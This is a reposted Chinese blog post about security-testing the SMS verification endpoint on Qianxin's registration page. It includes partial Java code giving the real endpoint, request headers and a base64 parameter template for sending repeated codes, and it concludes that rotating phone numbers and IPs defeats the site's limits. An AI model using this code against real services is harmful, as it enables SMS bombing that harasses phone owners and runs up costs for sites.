赞
踩
– “隐患险于明火,防范胜于救灾,责任重于泰山”
本文详细介绍了针对发送短信验证码接口的安全性测试过程,包含思路、部分测试代码以及测试结果。
本次测试网站 —奇安信(qianxin.com)
奇安信是一家提供安全服务的网站平台。
从该网站注册入口可以发现,也是通过发送手机短信验证码来完成注册。
外部防御措施:无
1. 找到发送短信的请求
按下F12
打开浏览器控制台,再次点击发送验证码
按钮通过控制台找出发送短信的请求。
2. 查看请求方式
3. 查看请求报文头
4. 查看请求参数
据观察请求参数使用了base64
加密
使用在线解码工具可以看到加密参数中除了参数名phone
和手机号码外还有些特殊字符
由于前面的特殊字符和参数名都为固定值,所以我们只需要将手机号码加密替换掉原参数的手机号码加密串即可。
5. 查看返回值
base64
加密接着利用Java模拟报文请求 ,进行测试。部分代码如下:
//配置请求头
inheads.put("Content-Type", "application/grpc-web-text");
inheads.put("Host", "passport.qianxin.com");
inheads.put("Origin", "https://passport.qianxin.com");
inheads.put("Accept", "application/grpc-web-text");
inheads.put("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36");
inheads.put("Referer", "https://passport.qianxin.com/reg/register");
//配置请求参数
String str = "AAAAABoQABgBIhQKBXBob25lEgsx"+Base64.encode(phone.substring(1, phone.length()));
//配置请求
retEntity = this.userClick(httpclient, cookieStore, "post", "https://passport.qianxin.com/api/zeus.CodeV1/CreateCode", inheads, outheads, input, phone);
启动测试:
1次:
手机号码唯一,IP唯一:
10次 --间隔时间1秒:
手机号码不唯一,IP唯一:
10次 --间隔时间1秒:
测试目标:
针对发送短信验证码接口进行安全性测试。
测试思路:
1.找到请求接口
2.分析请求报文
3.模拟请求测试
测试结果:
请求参数加密
但手机号码频率限制
测试结论:
当遇到更换手机号以及IP的攻击时,该网站的所有防御措施均无效。
风险等级: 极高
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。